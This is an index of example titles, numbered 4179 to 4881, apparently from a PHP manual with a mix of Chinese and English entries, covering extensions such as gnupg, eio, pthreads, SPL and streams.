  • Example#4179 - sin 例子
  • Example#4180 - sqrt 例子
  • Example#4181 - srand 例子
  • Example#4182 - tan 例子
  • Example#4183 - Evaluating a FDF document
  • Example#4184 - Adding JavaScript code to a FDF
  • Example#4185 - Populating a PDF document
  • Example#4186 - Storing an uploaded file
  • Example#4187 - Detecting all fieldnames in a FDF
  • Example#4188 - Accessing the form data
  • Example#4189 - Accessing the form data
  • Example#4190 - Retrieving FDF as a string
  • Example#4191 - Passing FDF data to a second form
  • Example#4192 - gnupg clearsign example (procedural)
  • Example#4193 - gnupg clearsign example (OO)
  • Example#4194 - keylistiterator
  • Example#4195 - Procedural gnupg_adddecryptkey example
  • Example#4196 - OO gnupg_adddecryptkey example
  • Example#4197 - Procedural gnupg_addencryptkey example
  • Example#4198 - OO gnupg_addencryptkey example
  • Example#4199 - Procedural gnupg_addsignkey example
  • Example#4200 - OO gnupg_addsignkey example
  • Example#4201 - Procedural gnupg_cleardecryptkeys example
  • Example#4202 - OO gnupg_cleardecryptkeys example
  • Example#4203 - Procedural gnupg_clearencryptkeys example
  • Example#4204 - OO gnupg_clearencryptkeys example
  • Example#4205 - Procedural gnupg_clearsignkeys example
  • Example#4206 - OO gnupg_clearsignkeys example
  • Example#4207 - Procedural gnupg_decrypt example
  • Example#4208 - OO gnupg_encrypt example
  • Example#4209 - Procedural gnupg_decryptverify example
  • Example#4210 - OO gnupg_decryptverify example
  • Example#4211 - Procedural gnupg_encrypt example
  • Example#4212 - OO gnupg_encrypt example
  • Example#4213 - Procedural gnupg_encryptsign example
  • Example#4214 - OO gnupg_encryptsign example
  • Example#4215 - Procedural gnupg_export example
  • Example#4216 - OO gnupg_export example
  • Example#4217 - Procedural gnupg_geterror example
  • Example#4218 - OO gnupg_geterror example
  • Example#4219 - Procedural gnupg_getprotocol example
  • Example#4220 - OO gnupg_getprotocol example
  • Example#4221 - Procedural gnupg_import example
  • Example#4222 - OO gnupg_import example
  • Example#4223 - Procedural gnupg_init example
  • Example#4224 - OO gnupg initializer example
  • Example#4225 - Procedural gnupg_keyinfo example
  • Example#4226 - OO gnupg_keyinfo example
  • Example#4227 - Procedural gnupg_setarmor example
  • Example#4228 - OO gnupg_setarmor example
  • Example#4229 - Procedural gnupg_seterrormode example
  • Example#4230 - OO gnupg_seterrormode example
  • Example#4231 - Procedural gnupg_setsignmode example
  • Example#4232 - OO gnupg_setsignmode example
  • Example#4233 - Procedural gnupg_sign example
  • Example#4234 - OO gnupg_sign example
  • Example#4235 - Procedural gnupg_verify example
  • Example#4236 - OO gnupg_verify example
  • Example#4237 - Fancy "Hello world"
  • Example#4238 - swfaction example
  • Example#4239 - swfaction example
  • Example#4240 - swfaction example
  • Example#4241 - swfsprite example
  • Example#4242 - ming_useswfversion example
  • Example#4243 - Importing a DBL file
  • Example#4244 - Using an alpha mask
  • Example#4245 - Usual interactions with buttons
  • Example#4246 - Drag example
  • Example#4247 - swfdisplayitem::multcolor example
  • Example#4248 - swfdisplayitem::rotateto example
  • Example#4249 - swfdisplayitem::setname example
  • Example#4250 - swfgradient example
  • Example#4251 - swfmorph example
  • Example#4252 - Displaying your $movie in a browser
  • Example#4253 - Streaming example
  • Example#4254 - SWFShape::addFill example
  • Example#4255 - swfshape example
  • Example#4256 - swfshape::setline example
  • Example#4257 - swftext example
  • Example#4258 - Hello World example from PDFlib distribution for PHP 4
  • Example#4259 - Hello World example from PDFlib distribution for PHP 5
  • Example#4260 - Creating and using a pattern
  • Example#4261 - Creating and using a template
  • Example#4262 - Hyphennate a text
  • Example#4263 - Drawing a rectangle
  • Example#4264 - Creating and using a spot color
  • Example#4265 - Rotation of the coordinate system
  • Example#4266 - Placing text at a given position
  • Example#4267 - Drawing a dashed line
  • Example#4268 - Translation of the coordinate system
  • Example#4269 - Basic RPMReader Example
  • Example#4270 - rpm_close example
  • Example#4271 - rpm_get_tag example
  • Example#4272 - rpm_is_valid example
  • Example#4273 - rpm_open example
  • Example#4274 - rpm_version example
  • Example#4275 - example
  • Example#4276 - example
  • Example#4277 - example
  • Example#4278 - example
  • Example#4279 - example
  • Example#4280 - example
  • Example#4281 - example
  • Example#4282 - example
  • Example#4283 - example
  • Example#4284 - example
  • Example#4285 - example
  • Example#4286 - example
  • Example#4287 - example
  • Example#4288 - example
  • Example#4289 - example
  • Example#4290 - example
  • Example#4291 - example
  • Example#4292 - example
  • Example#4293 - example
  • Example#4294 - Incorrect requests
  • Example#4295 - Calling request from a request callback
  • Example#4296 - Calling request from a request callback
  • Example#4297 - Using eio with libevent
  • Example#4298 - Cancelling a request
  • Example#4299 - Calling eio_chmod
  • Example#4300 - Making a custom request
  • Example#4301 - Grouping requests
  • Example#4302 - Using eio with libevent extension
  • Example#4303 - Using eio with event extension
  • Example#4304 - eio_cancel example
  • Example#4305 - eio_custom example
  • Example#4306 - eio_event_loop example
  • Example#4307 - eio_lstat example
  • Example#4308 - Using eio with libevent
  • Example#4309 - Grouping requests
  • Example#4310 - eio_grp example
  • Example#4311 - eio_link example
  • Example#4312 - eio_lstat example
  • Example#4313 - eio_mkdir example
  • Example#4314 - eio_mknod example
  • Example#4315 - eio_nreqs example
  • Example#4316 - eio_open example
  • Example#4317 - eio_poll example
  • Example#4318 - eio_read example
  • Example#4319 - eio_readdir example
  • Example#4320 - eio_readlink example
  • Example#4321 - eio_realpath example
  • Example#4322 - eio_rename example
  • Example#4323 - eio_rmdir example
  • Example#4324 - eio_stat example
  • Example#4325 - eio_statvfs example
  • Example#4326 - eio_symlink example
  • Example#4327 - Simple timers
  • Example#4328 - Periodic timer. Tick each 10.5 seconds
  • Example#4329 - Periodic timer. Use reschedule callback
  • Example#4330 - Periodic timer. Tick every 10.5 seconds starting at now
  • Example#4331 - Wait until STDIN is readable
  • Example#4332 - Use some async I/O to access a socket
  • Example#4333 - Embedding one loop into another
  • Example#4334 - Embedding loop created with kqueue backend into the default loop
  • Example#4335 - Handle SIGTERM signal
  • Example#4336 - Monitor changes of /var/log/messages
  • Example#4337 - Monotor changes of /var/log/messages. Avoid missing updates by means of one second delay
  • Example#4338 - Process status changes
  • Example#4339 - Using reschedule callback
  • Example#4340 - Embedding loop created with kqueue backend into the default loop
  • Example#4341 - Embedding one loop into another
  • Example#4342 - Embedding loop created with kqueue backend into the default loop
  • Example#4343 - Embedding loop created with kqueue backend into the default loop
  • Example#4344 - Periodic timer. Use reschedule callback
  • Example#4345 - Periodic timer. Tick every 10.5 seconds starting at now
  • Example#4346 - Hourly watcher
  • Example#4347 - Handle SIGTERM signal
  • Example#4348 - Monitor changes of /var/log/messages
  • Example#4349 - Monitor changes of /var/log/messages
  • Example#4350 - Simple timers
  • Example#4351 - Monotor changes of /var/log/messages. Avoid missing updates by means of one second delay
  • Example#4352 - Register an I/O watcher for some UDP socket but do not keep the event loop from running just because of that watcher.
  • Example#4353 - Expect Usage Example
  • Example#4354 - Another Expect Usage Example
  • Example#4355 - expect_expectl example
  • Example#4356 - expect_popen example
  • Example#4357 - polling STDIN using basic API
  • Example#4358 - polling STDIN using buffered event API
  • Example#4359 - 进程控制示例
  • Example#4360 - pcntl_fork 示例
  • Example#4361 - pcntl_signal_dispatch 示例
  • Example#4362 - pcntl_signal_get_handler example
  • Example#4363 - pcntl_signal示例
  • Example#4364 - pcntl_sigprocmask 示例
  • Example#4365 - pcntl_sigwaitinfo example
  • Example#4366 - posix_access example
  • Example#4367 - posix_ctermid example
  • Example#4368 - posix_get_last_error example
  • Example#4369 - posix_getcwd example
  • Example#4370 - posix_getegid example
  • Example#4371 - posix_geteuid example
  • Example#4372 - posix_getgid example
  • Example#4373 - Example use of posix_getgrgid
  • Example#4374 - Example use of posix_getgrnam
  • Example#4375 - Example use of posix_getgroups
  • Example#4376 - Example use of posix_getlogin
  • Example#4377 - Example use of posix_getpgid
  • Example#4378 - posix_getpid 的使用例子
  • Example#4379 - Example use of posix_getppid
  • Example#4380 - Example use of posix_getpwnam
  • Example#4381 - Example use of posix_getpwuid
  • Example#4382 - Example use of posix_getrlimit
  • Example#4383 - Example use of posix_getsid
  • Example#4384 - Example use of posix_getuid
  • Example#4385 - A posix_mknod example
  • Example#4386 - posix_setegid example
  • Example#4387 - posix_setgid example
  • Example#4388 - posix_setuid example
  • Example#4389 - posix_strerror example
  • Example#4390 - Example use of posix_times
  • Example#4391 - Example use of posix_uname
  • Example#4392 - escapeshellarg 的例子
  • Example#4393 - escapeshellcmd example
  • Example#4394 - exec 例程
  • Example#4395 - 使用 proc_open 函数将进程设置为高优先级
  • Example#4396 - proc_open 例程
  • Example#4397 - shell_exec 例程
  • Example#4398 - system 例程
  • Example#4399 - Example showing Future as return value
  • Example#4400 - Example showing Future as synchronization point
  • Example#4401 - 获取对象属性表中的部分条目
  • Example#4402 - 计算对象中的属性数量
  • Example#4403 - Runtime inheritance
  • Example#4404 - Thread safe objects from closures
  • Example#4405 - 检测线程运行时的致命错误
  • Example#4406 - 检测对象状态
  • Example#4407 - 检测对象状态
  • Example#4408 - 检测对象状态
  • Example#4409 - 给对象属性加锁
  • Example#4410 - 合并数据到对象的属性表
  • Example#4411 - 等待和唤醒
  • Example#4412 - Notifications and Waiting
  • Example#4413 - 弹出对象属性表中的最后一项数据
  • Example#4414 - 弹出对象属性表中第一项数据
  • Example#4415 - 同步
  • Example#4416 - 给对象属性表加锁
  • Example#4417 - 等待和唤醒
  • Example#4418 - 返回创建线程的线程或进程ID
  • Example#4419 - 获取当前执行线程
  • Example#4420 - 返回当前执行线程的ID
  • Example#4421 - 返回引用线程的ID
  • Example#4422 - 在全局范围执行代码块
  • Example#4423 - 检测线程状态
  • Example#4424 - 监测线程是否开始执行
  • Example#4425 - 加入线程
  • Example#4426 - 杀除线程
  • Example#4427 - 开始线程
  • Example#4428 - A basic example of Worker::collect
  • Example#4429 - Worker::getStacked 基本示例
  • Example#4430 - 检测 Worker 对象状态
  • Example#4431 - 检测 Worker 对象状态
  • Example#4432 - 关闭 Worker
  • Example#4433 - 向 Worker 中入栈任务并执行
  • Example#4434 - 从 Worker 栈中移除对象
  • Example#4435 - protected 方法示例： 标记为 protected 的方法在同一时间仅允许一个线程访问
  • Example#4436 - private 方法示例：标记为 private 的方法只能由创建该对象的线程调用
  • Example#4437 - Pool::collect 基本用法示例
  • Example#4438 - 创建 Pool 对象
  • Example#4439 - 完全停止一个 Pool
  • Example#4440 - 提交任务
  • Example#4441 - 提交任务到特定的 Worker
  • Example#4442 - 互斥量的创建与销毁
  • Example#4443 - 互斥量的创建与销毁
  • Example#4444 - 互斥量加锁与解锁
  • Example#4445 - 互斥量的加锁与解锁
  • Example#4446 - 互斥量的加锁与解锁
  • Example#4447 - 广播条件变量
  • Example#4448 - 条件变量的创建与销毁
  • Example#4449 - 条件变量的创建与销毁
  • Example#4450 - 发送唤醒信号
  • Example#4451 - 等待条件变量
  • Example#4452 - New immutability semantics of Threaded
  • Example#4453 - Volatile use-case
  • Example#4454 - Adding a new class task to a thread
  • Example#4455 - Adding a new file task to a thread
  • Example#4456 - Adding a new function task to a thread
  • Example#4457 - Joining a thread
  • Example#4458 - Starting a new thread
  • Example#4459 - Getting the task count of a thread
  • Example#4460 - Locking a hash table's mutex lock
  • Example#4461 - Getting a hash table's size
  • Example#4462 - Locking a hash table's mutex lock
  • Example#4463 - Creating a new vector
  • Example#4464 - Deleting values in a vector
  • Example#4465 - Inserting a value into a vector
  • Example#4466 - Locking a vector's mutex lock
  • Example#4467 - Popping a value from a vector
  • Example#4468 - Pushing values to a vector
  • Example#4469 - Resizing a vector
  • Example#4470 - Shifting a value from a vector
  • Example#4471 - Getting a vector's size
  • Example#4472 - Locking a vector's mutex lock
  • Example#4473 - Unshifting a value to the front of a vector
  • Example#4474 - Updating a value in a vector
  • Example#4475 - Retrieving the front value of a queue
  • Example#4476 - Retrieving the front value in a loop (bad example - don't do this)
  • Example#4477 - Retrieving the front value in a loop (good example)
  • Example#4478 - Locking a queue's mutex lock
  • Example#4479 - Popping a value from a queue
  • Example#4480 - Pushing a value to a queue
  • Example#4481 - Getting a queue's size
  • Example#4482 - Locking a queue's mutex lock
  • Example#4483 - Creating a new atomic integer
  • Example#4484 - Decrementing an atomic integer's value
  • Example#4485 - Getting an atomic integer's value
  • Example#4486 - Incrementing an atomic integer's value
  • Example#4487 - Grouping together an atomic integer's operations (requiring a mutex lock)
  • Example#4488 - Setting an atomic integer's value
  • Example#4489 - Grouping together an atomic integer's operations (requiring a mutex lock)
  • Example#4490 -
  • Example#4491 - Shared Memory Operations Overview
  • Example#4492 - Closing shared memory block
  • Example#4493 - Deleting shared memory block
  • Example#4494 - Create a new shared memory block
  • Example#4495 - Reading shared memory block
  • Example#4496 - Getting the size of the shared memory block
  • Example#4497 - Writing to shared memory block
  • Example#4498 - SyncMutex::__construct named mutex with lock timeout example
  • Example#4499 - SyncMutex::__construct unnamed mutex example
  • Example#4500 - SyncMutex::lock example
  • Example#4501 - SyncMutex::unlock example
  • Example#4502 - SyncSemaphore::__construct example
  • Example#4503 - SyncSemaphore::lock example
  • Example#4504 - SyncSemaphore::unlock example
  • Example#4505 - SyncEvent::__construct example
  • Example#4506 - SyncEvent::fire example
  • Example#4507 - SyncEvent::reset example
  • Example#4508 - SyncEvent::wait example
  • Example#4509 - SyncReaderWriter::__construct example
  • Example#4510 - SyncReaderWriter::readlock example
  • Example#4511 - SyncReaderWriter::readunlock example
  • Example#4512 - SyncReaderWriter::writelock example
  • Example#4513 - SyncReaderWriter::writeunlock example
  • Example#4514 - SyncSharedMemory::__construct example
  • Example#4515 - SyncSharedMemory::first example
  • Example#4516 - SyncSharedMemory::__construct example
  • Example#4517 - SyncSharedMemory::size example
  • Example#4518 - SyncSharedMemory::write example
  • Example#4519 - geoip_asnum_by_name函数的范例：
  • Example#4520 - geoip_continent_code_by_name 函数的使用范例：
  • Example#4521 - geoip_country_code_by_name 函数的范例：
  • Example#4522 - geoip_country_code3_by_name 函数的使用范例：
  • Example#4523 - geoip_country_name_by_name 函数的使用范例：
  • Example#4524 - geoip_database_info 函数的使用范例：
  • Example#4525 - geoip_db_avail 函数的使用范例：
  • Example#4526 - geoip_db_filename函数的使用范例：
  • Example#4527 - geoip_db_get_all_info 使用范例：
  • Example#4528 - geoip_db_get_all_info 使用范例：
  • Example#4529 - 一个 geoip_domain_by_name 使用范例：
  • Example#4530 - 一个 geoip_id_by_name 使用范例：
  • Example#4531 - 一个 geoip_isp_by_name 使用范例：
  • Example#4532 - 一个 geoip_netspeedcell_by_name 使用范例：
  • Example#4533 - 一个 geoip_org_by_name 使用范例：
  • Example#4534 - geoip_record_by_name 例子：
  • Example#4535 - geoip_region_by_name 例子：
  • Example#4536 - geoip_region_name_by_code 使用美国和加拿大地区的范例。
  • Example#4537 - geoip_region_name_by_code 使用 FIPS 代码的范例：
  • Example#4538 - geoip_setup_custom_directory 例子：
  • Example#4539 - geoip_time_zone_by_country_and_region 使用美国和加拿大地区的范例：
  • Example#4540 - geoip_time_zone_by_country_and_region 使用 FIPS 代码的范例：
  • Example#4541 - xor.data file
  • Example#4542 - 一般训练
  • Example#4543 - 一般测试
  • Example#4544 - fann_create_train_from_callback example
  • Example#4545 - fann_read_train_from_file 函数的使用范例：
  • Example#4546 - JsonSerializable::jsonSerialize 例子 returning an array
  • Example#4547 - JsonSerializable::jsonSerialize 例子 返回了一个关联数组 array
  • Example#4548 - JsonSerializable::jsonSerialize 例子 返回一个 integer
  • Example#4549 - JsonSerializable::jsonSerialize 例子 返回一个 string
  • Example#4550 - json_decode 的例子
  • Example#4551 - Accessing invalid object properties
  • Example#4552 - common mistakes using json_decode
  • Example#4553 - depth errors
  • Example#4554 - json_decode of large integers
  • Example#4555 - json_encode 例子
  • Example#4556 - json_encode 函数中 options 参数的用法
  • Example#4557 - 选项 JSON_NUMERIC_CHECK 例子
  • Example#4558 - 连续与非连续数组示例
  • Example#4559 - 选项 JSON_PRESERVE_ZERO_FRACTION 的例子
  • Example#4560 - json_last_error 例子
  • Example#4561 - json_encode 的 json_last_error
  • Example#4562 - Judy array example
  • Example#4563 - Lua::assign示例
  • Example#4564 - Lua::call示例
  • Example#4565 - Lua::eval示例
  • Example#4566 - Lua::registerCallback示例
  • Example#4567 - LuaClosure::__invoke示例
  • Example#4568 - constant 的例子
  • Example#4569 - 定义常量
  • Example#4570 - 检查常量
  • Example#4571 - eval 例子 - 简单的文本合并
  • Example#4572 - exit 例子
  • Example#4573 - exit 状态码例子
  • Example#4574 - 无论如何，Shutdown函数与析构函数都会被执行
  • Example#4575 - 列出所有用户浏览器的信息
  • Example#4576 - __halt_compiler 例子
  • Example#4577 - highlight_string 例子
  • Example#4578 - hrtime usage
  • Example#4579 - ignore_user_abort例子
  • Example#4580 - pack 范例
  • Example#4581 - php_strip_whitespace 的例子
  • Example#4582 - sapi_windows_vt100_support default state
  • Example#4583 - sapi_windows_vt100_support changing state
  • Example#4584 - Example usage of VT100 support enabled
  • Example#4585 - sleep 的例子
  • Example#4586 - sys_getloadavg 的例子
  • Example#4587 - time_nanosleep 的例子
  • Example#4588 - time_sleep_until 的一个例子
  • Example#4589 - uniqid 例子
  • Example#4590 - unpack example
  • Example#4591 - unpack example with a repeater
  • Example#4592 - unpack example with unnamed keys
  • Example#4593 - usleep例子
  • Example#4594 - parsekit_compile_file example
  • Example#4595 - parsekit_compile_string example
  • Example#4596 - parsekit_func_arginfo example
  • Example#4597 - 获取与设置根目录
  • Example#4598 - 获取与设置 Logger
  • Example#4599 - 快速写入日志
  • Example#4600 - 快速获取某级别下日志的数量
  • Example#4601 - 获取某级别下日志的详情
  • Example#4602 - seaslog_get_author example
  • Example#4603 - seaslog_get_version example
  • Example#4604 - SeasLog::alert例子
  • Example#4605 - SeasLog::analyzerCount example
  • Example#4606 - SeasLog::analyzerDetail example
  • Example#4607 - SeasLog::closeLoggerStream example
  • Example#4608 - SeasLog::__construct example
  • Example#4609 - SeasLog::critical example
  • Example#4610 - SeasLog::debug example
  • Example#4611 - SeasLog::__destruct example
  • Example#4612 - SeasLog::emergency example
  • Example#4613 - SeasLog::error example
  • Example#4614 - SeasLog::flushBuffer example
  • Example#4615 - SeasLog::getBasePath example
  • Example#4616 - SeasLog::getBuffer example
  • Example#4617 - SeasLog::getBufferEnabled example
  • Example#4618 - SeasLog::getDatetimeFormat example
  • Example#4619 - SeasLog::getLastLogger example
  • Example#4620 - SeasLog::getRequestID example
  • Example#4621 - SeasLog::getRequestVariable example
  • Example#4622 - SeasLog::info example
  • Example#4623 - SeasLog::log example
  • Example#4624 - SeasLog::notice example
  • Example#4625 - SeasLog::setBasePath example
  • Example#4626 - SeasLog::setDatetimeFormat example
  • Example#4627 - SeasLog::setLogger example
  • Example#4628 - SeasLog::setRequestID example
  • Example#4629 - SeasLog::setRequestVariable example
  • Example#4630 - SeasLog::warning example
  • Example#4631 - SplDoublyLinkedList::__construct example
  • Example#4632 - SplStack::__construct example
  • Example#4633 - SplQueue::__construct example
  • Example#4634 - Efficiently handling tasks with SplQueue
  • Example#4635 - SplFixedArray usage example
  • Example#4636 - SplFixedArray::__construct example
  • Example#4637 - SplFixedArray::count example
  • Example#4638 - SplFixedArray::fromArray example
  • Example#4639 - SplFixedArray::getSize example
  • Example#4640 - SplFixedArray::setSize example
  • Example#4641 - SplFixedArray::toArray example
  • Example#4642 - SplObjectStorage as a set
  • Example#4643 - SplObjectStorage as a map
  • Example#4644 - SplObjectStorage::addAll example
  • Example#4645 - SplObjectStorage::attach example
  • Example#4646 - SplObjectStorage::contains example
  • Example#4647 - SplObjectStorage::count example
  • Example#4648 - SplObjectStorage::current example
  • Example#4649 - SplObjectStorage::detach example
  • Example#4650 - SplObjectStorage::getHash example
  • Example#4651 - SplObjectStorage::getInfo example
  • Example#4652 - SplObjectStorage::key example
  • Example#4653 - SplObjectStorage::next example
  • Example#4654 - SplObjectStorage::offsetExists example
  • Example#4655 - SplObjectStorage::offsetGet example
  • Example#4656 - SplObjectStorage::offsetSet example
  • Example#4657 - SplObjectStorage::offsetUnset example
  • Example#4658 - SplObjectStorage::removeAll example
  • Example#4659 - SplObjectStorage::removeAllExcept example
  • Example#4660 - SplObjectStorage::rewind example
  • Example#4661 - SplObjectStorage::serialize example
  • Example#4662 - SplObjectStorage::setInfo example
  • Example#4663 - SplObjectStorage::unserialize example
  • Example#4664 - SplObjectStorage::valid example
  • Example#4665 - AppendIterator::append example
  • Example#4666 - Iterating AppendIterator with foreach
  • Example#4667 - Iterating AppendIterator with the AppendIterator API
  • Example#4668 - AppendIterator::getInnerIterator example
  • Example#4669 - AppendIterator.getIteratorIndex basic example
  • Example#4670 - AppendIterator::key basic example
  • Example#4671 - ArrayIterator::current example
  • Example#4672 - ArrayIterator::key example
  • Example#4673 - ArrayIterator::next example
  • Example#4674 - ArrayIterator::rewind example
  • Example#4675 - ArrayIterator::valid example
  • Example#4676 - CachingIterator::getCache example
  • Example#4677 - Available callback arguments
  • Example#4678 - Callback basic examples
  • Example#4679 - A DirectoryIterator::__construct example
  • Example#4680 - A DirectoryIterator::current example
  • Example#4681 - A DirectoryIterator::getATime example
  • Example#4682 - A DirectoryIterator::getBasename example
  • Example#4683 - DirectoryIterator::getCTime example
  • Example#4684 - DirectoryIterator::getExtension example
  • Example#4685 -
  • Example#4686 - A DirectoryIterator::getFilename example
  • Example#4687 - DirectoryIterator::getGroup example
  • Example#4688 - DirectoryIterator::getInode example
  • Example#4689 - A DirectoryIterator::getMTime example
  • Example#4690 - DirectoryIterator::getOwner example
  • Example#4691 - DirectoryIterator::getPath example
  • Example#4692 - DirectoryIterator::getPathname example
  • Example#4693 - DirectoryIterator::getPerms example
  • Example#4694 - DirectoryIterator::getSize example
  • Example#4695 - DirectoryIterator::getType example
  • Example#4696 - DirectoryIterator::isDir example
  • Example#4697 - A DirectoryIterator::isDot example
  • Example#4698 - DirectoryIterator::isExecutable example
  • Example#4699 - DirectoryIterator::isFile example
  • Example#4700 - A DirectoryIterator::isLink example
  • Example#4701 - DirectoryIterator::isReadable example
  • Example#4702 - DirectoryIterator::isWritable example
  • Example#4703 - A DirectoryIterator::key example
  • Example#4704 - DirectoryIterator::next example
  • Example#4705 - DirectoryIterator::rewind example
  • Example#4706 - DirectoryIterator::seek example
  • Example#4707 - A DirectoryIterator::__toString example
  • Example#4708 - A DirectoryIterator::valid example
  • Example#4709 - FilesystemIterator::__construct example
  • Example#4710 - FilesystemIterator::current example
  • Example#4711 - FilesystemIterator::key example
  • Example#4712 - FilesystemIterator::next example
  • Example#4713 - FilesystemIterator::rewind example
  • Example#4714 - FilesystemIterator::key example
  • Example#4715 - FilterIterator::accept example
  • Example#4716 - GlobIterator example
  • Example#4717 - GlobIterator::count example
  • Example#4718 - InfiniteIterator::__construct example
  • Example#4719 - LimitIterator usage example
  • Example#4720 - LimitIterator::__construct example
  • Example#4721 - LimitIterator::getPosition example
  • Example#4722 - Iterating a MultipleIterator
  • Example#4723 - NoRewindIterator::__construct example
  • Example#4724 - NoRewindIterator::rewind example
  • Example#4725 - RecursiveArrayIterator::getChildren example
  • Example#4726 - RecursiveArrayIterator::hasChildren example
  • Example#4727 - Available callback arguments
  • Example#4728 - Recursive callback basic example
  • Example#4729 - RecursiveCallbackFilterIterator::hasChildren basic usage
  • Example#4730 - RecursiveDirectoryIterator example
  • Example#4731 - getSubPath example
  • Example#4732 - getSubPathname example
  • Example#4733 - Basic RecursiveFilterIterator example
  • Example#4734 - RecursiveFilterIterator example
  • Example#4735 - Iterating a RecursiveIteratorIterator
  • Example#4736 - RecursiveRegexIterator::__construct example
  • Example#4737 - RecursiveRegexIterator::getChildren example
  • Example#4738 - RecursiveRegexIterator::hasChildren example
  • Example#4739 - RegexIterator::accept example
  • Example#4740 - RegexIterator::__construct example
  • Example#4741 - RegexIterator::getFlags example
  • Example#4742 - RegexIterator::getMode example
  • Example#4743 - RegexIterator::getPregFlags example
  • Example#4744 - RegexIterator::setFlags example
  • Example#4745 - RegexIterator::setMode example
  • Example#4746 - RegexIterator::setPregFlags example
  • Example#4747 - Countable::count example
  • Example#4748 - Basic usage
  • Example#4749 - SeekableIterator::seek example
  • Example#4750 - class_implements example
  • Example#4751 - class_parents example
  • Example#4752 - class_uses example
  • Example#4753 - iterator_apply example
  • Example#4754 - iterator_count example
  • Example#4755 - iterator_to_array example
  • Example#4756 - spl_autoload_register 作为 __autoload 函数的替代
  • Example#4757 - class 未能加载的 spl_autoload_register 例子
  • Example#4758 - spl_classes example
  • Example#4759 - A spl_object_hash example
  • Example#4760 - A spl_object_id example
  • Example#4761 - SplFileInfo::__construct example
  • Example#4762 - SplFileInfo::getBasename example
  • Example#4763 - SplFileInfo::getCTime 例子
  • Example#4764 - SplFileInfo::getExtension example
  • Example#4765 -
  • Example#4766 - SplFileInfo::getFilename example
  • Example#4767 - SplFileInfo::getGroup example
  • Example#4768 - SplFileInfo::getLinkTarget example
  • Example#4769 - SplFileInfo::getOwner example
  • Example#4770 - SplFileInfo::getPath example
  • Example#4771 - SplFileInfo::getPathInfo example
  • Example#4772 - SplFileInfo::getPathname example
  • Example#4773 - SplFileInfo::getPerms example
  • Example#4774 - SplFileInfo::getRealPath example
  • Example#4775 - SplFileInfo::getType example
  • Example#4776 - SplFileInfo::isDir example
  • Example#4777 - SplFileInfo::isExecutable example
  • Example#4778 - SplFileInfo::isFile example
  • Example#4779 - SplFileInfo::isLink example
  • Example#4780 - SplFileInfo::isReadable example
  • Example#4781 - SplFileInfo::openFile example
  • Example#4782 - SplFileInfo::setFileClass example
  • Example#4783 - SplFileInfo::setFileClass example
  • Example#4784 - SplFileInfo::__toString example
  • Example#4785 - SplFileObject::__construct example
  • Example#4786 - SplFileObject::current example
  • Example#4787 - SplFileObject::eof example
  • Example#4788 - SplFileObject::fflush example
  • Example#4789 - SplFileObject::fgetc example
  • Example#4790 - SplFileObject::fgetcsv example
  • Example#4791 - SplFileObject::READ_CSV example
  • Example#4792 - SplFileObject::fgets example
  • Example#4793 - SplFileObject::fgetss example
  • Example#4794 - SplFileObject::flock example
  • Example#4795 - SplFileObject::fpassthru example
  • Example#4796 - SplFileObject::fputcsv example
  • Example#4797 - SplFileObject::fread example
  • Example#4798 - SplFileObject::fscanf example
  • Example#4799 - SplFileObject::fseek example
  • Example#4800 - SplFileObject::fstat example
  • Example#4801 - SplFileObject::ftell example
  • Example#4802 - SplFileObject::ftruncate example
  • Example#4803 - SplFileObject::fwrite example
  • Example#4804 - SplFileObject::getCsvControl example
  • Example#4805 - SplFileObject::getFlags example
  • Example#4806 - SplFileObject::getMaxLineLen example
  • Example#4807 - SplFileObject::key example
  • Example#4808 - SplFileObject::key example with SplFileObject::setMaxLineLen
  • Example#4809 - SplFileObject::next example
  • Example#4810 - SplFileObject::rewind example
  • Example#4811 - SplFileObject::seek example
  • Example#4812 - SplFileObject::setCsvControl example
  • Example#4813 - SplFileObject::setFlags example
  • Example#4814 - SplFileObject::setMaxLineLen example
  • Example#4815 - SplFileObject::valid example
  • Example#4816 - SplTempFileObject example
  • Example#4817 - ArrayObject::append 例子
  • Example#4818 - ArrayObject::asort example
  • Example#4819 - ArrayObject::__construct example
  • Example#4820 - ArrayObject::count 例子
  • Example#4821 - ArrayObject::exchangeArray example
  • Example#4822 - ArrayObject::getArrayCopy example
  • Example#4823 - ArrayObject::getFlags example
  • Example#4824 - ArrayObject::getIterator example
  • Example#4825 - ArrayObject::getIteratorClass example
  • Example#4826 - ArrayObject::ksort example
  • Example#4827 - ArrayObject::natcasesort example
  • Example#4828 - ArrayObject::natsort example
  • Example#4829 - ArrayObject::offsetExists example
  • Example#4830 - ArrayObject::offsetGet example
  • Example#4831 - ArrayObject::offsetSet 例子
  • Example#4832 - ArrayObject::offsetUnset example
  • Example#4833 - ArrayObject::serialize example
  • Example#4834 - ArrayObject::setFlags example
  • Example#4835 - ArrayObject::setIteratorClass example
  • Example#4836 - ArrayObject::uasort example
  • Example#4837 - ArrayObject::uksort example
  • Example#4838 - SplInt usage example
  • Example#4839 - SplFloat usage example
  • Example#4840 - SplEnum usage example
  • Example#4841 - SplEnum::getConstList example
  • Example#4842 - SplBool usage example
  • Example#4843 - SplString usage example
  • Example#4844 - Using file_get_contents to retrieve data from multiple sources
  • Example#4845 - Making a POST request to an https server
  • Example#4846 - Writing data to a compressed file
  • Example#4847 - A Stream for reading/writing global variables
  • Example#4848 - Listing files from tar archives
  • Example#4849 - stream_bucket_prepend examples
  • Example#4850 - 使用 stream_context_create
  • Example#4851 - Using stream_context_get_default
  • Example#4852 - stream_context_get_options 的例子
  • Example#4853 - stream_context_get_params example
  • Example#4854 - stream_context_set_default example
  • Example#4855 - A stream_copy_to_stream example
  • Example#4856 - Controlling where filters are applied
  • Example#4857 - Filter for capitalizing characters on foo-bar.txt stream
  • Example#4858 - Registering a generic filter class to match multiple filter names.
  • Example#4859 - 动态地重新过滤一个资源流
  • Example#4860 - stream_get_contents 例子
  • Example#4861 - 使用 stream_get_filters
  • Example#4862 - 使用 stream_get_transports
  • Example#4863 - stream_get_wrappers 例子
  • Example#4864 - 检查一个流类型是否存在
  • Example#4865 - stream_is_local example
  • Example#4866 - stream_isatty example
  • Example#4867 - stream_notification_callback example
  • Example#4868 - Simple progressbar for commandline download client
  • Example#4869 - stream_resolve_include_path example
  • Example#4870 - stream_select Example
  • Example#4871 - stream_set_timeout example
  • Example#4872 - stream_set_write_buffer example
  • Example#4873 - stream_socket_client example
  • Example#4874 - Using UDP connection
  • Example#4875 - stream_socket_enable_crypto example
  • Example#4876 - A stream_socket_pair example
  • Example#4877 - stream_socket_recvfrom example
  • Example#4878 - stream_socket_sendto Example
  • Example#4879 - Using TCP server sockets
  • Example#4880 - Using UDP server sockets
  • Example#4881 - A stream_socket_shutdown example
